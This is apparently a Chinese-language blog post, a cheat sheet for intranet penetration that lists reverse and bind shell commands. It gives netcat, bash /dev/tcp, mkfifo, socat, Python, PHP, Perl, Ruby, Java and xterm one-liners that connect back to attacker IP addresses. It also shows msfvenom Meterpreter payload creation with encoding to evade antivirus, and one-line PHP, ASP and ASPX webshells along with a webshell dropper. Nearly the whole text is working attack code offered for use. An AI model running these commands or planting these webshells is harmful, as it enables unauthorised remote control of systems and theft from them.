内网渗透之转发shell

636 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路

内网渗透之转发shell

Published on Jan 17, 2022 in 安全学习路 with 0 comment

使用nc

方法一

反弹shell

nc -e cmd.exe 攻击机ip 4444(反弹windows shell)
nc -e /bin/bash 攻击机ip 4444(反弹linux shell)

方法二

将shell映射到自己本地的端口上,然后等待他人连接

nc -lvp 4444 -e cmd.exe      (反弹windows shell)
nc -lvp 4444 -e /bin/bash     (反弹linux shell)

连接端口

nc -vv 获取shell的ip 4444

使用msf

msfvenom制作反弹木马,自行选择合适的payload和文件类型,以及修改自己的host'

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.16.7 lport=4444 -f exe -o 123.exe

msfencode来进行编码免杀,

然后msfconsole来进行监听反弹的窗口

msfdb run
use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.16.7
run

使用bash

bash -i >& /dev/tcp/10.10.14.2/8081 0>&1
bash -c 'bash -i >& /dev/tcp/10.10.16.7/4444 0>&1'

0<&31-;exec 31<>/dev/tcp/10.10.16.7/4444;sh <&31 >&31 2>&31

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.21 1234 >/tmp/f

使用socat

这个是从一个老哥那里看来的没有自己使用过,暂作记录内网渗透之——内网转发

socat反弹tcp

接收端(攻击机):
./socat TCP-LISTEN:4444

发送端(靶机):
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.16.7:4444

socat反弹(udp)

接收端:

nc -lvnp 4444

发送端:

socat udp-connect:10.10.16.7:4444 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &

使用python

同样需要nc监听本地端口

nc -lvnp 4444

然后想办法在靶机中执行语句

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);s.settimeout(10);s.connect(("10.10.14.8",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

用来转发linux的shell

用python发出一个完整的shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

使用php

需要nc监听本地端口

nc -lvnp 4444

然后再php中文件中注入

php -r '$sock=fsockopen("10.10.16.7",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

或者在文件中直接注入系统语句,并留下变量

<?php system($_REQUEST["cmd"]); ?>

再或者利用文件上传,用一句话木马,然后用冰蝎剑蚁菜刀一类的东西来连接

php一句话木马:  <?php @eval($_POST[value]); ?>

asp一句话木马:  <%eval request ("value")%> 或  <% execute(request("value")) %>  

aspx一句话木马: <%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
 
<?php fputs( fopen('xie.php','w') , '<? php eval($_POST[xie]) ?>' ) ; ?>
将当前目录下创建xie.php文件,并且将一句话木马写入xd.php中

使用PERL

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

使用Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

使用java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

使用xterm

使用xterm是最简单的转发shell的方式之一,可以通过如下语句来使目标及对你的tcp6001端口进行shell转发

xterm -display 10.0.0.1:1

使用如下语句来打开一个监听6001短裤的X-servers

Xnest :1

通过如下语句开放端口,使得目标机可以连接的上你

xhost +targetip

\